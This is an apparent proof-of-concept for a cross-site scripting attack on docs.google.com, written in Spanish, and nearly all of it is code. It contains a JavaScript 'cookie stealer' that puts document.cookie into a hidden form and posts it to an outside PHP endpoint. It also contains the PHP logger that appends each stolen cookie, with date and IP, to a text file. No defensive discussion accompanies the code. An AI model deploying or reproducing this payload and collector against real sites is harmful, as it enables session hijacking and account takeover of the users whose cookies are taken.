

XSS POC en docs.google.com

```
::cookiestealer.js::  
var formulario = document.createElement('form');  
var salida = document.createElement('<input name="gcontent" type="hidden">');  
document.body.appendChild(formulario);  
salida.value = document.cookie;  
formulario.method = 'post';  
formulario.action = 'http://www.sinfocol.org/archivos/2009/11/phplogger.php';  
formulario.appendChild(salida);  
formulario.submit();
```

::phplogger.php::

```
<?php  
$filename = 'secreto.txt';  
$content = @$_POST['gcontent'];  
if ($content == '') die;  
  
$str = "-----\n";  
$str .= "Date: " . date('d/m/Y - h:i:s a', time()) . "\n";  
$str .= "IP: " . $_SERVER['REMOTE_ADDR'] . "\n";  
$str .= "-----\n";  
$str .= "$content\n";
```

```
$file = fopen($filename, 'a');  
fwrite($file, $str);  
fclose($file);
```

CLIC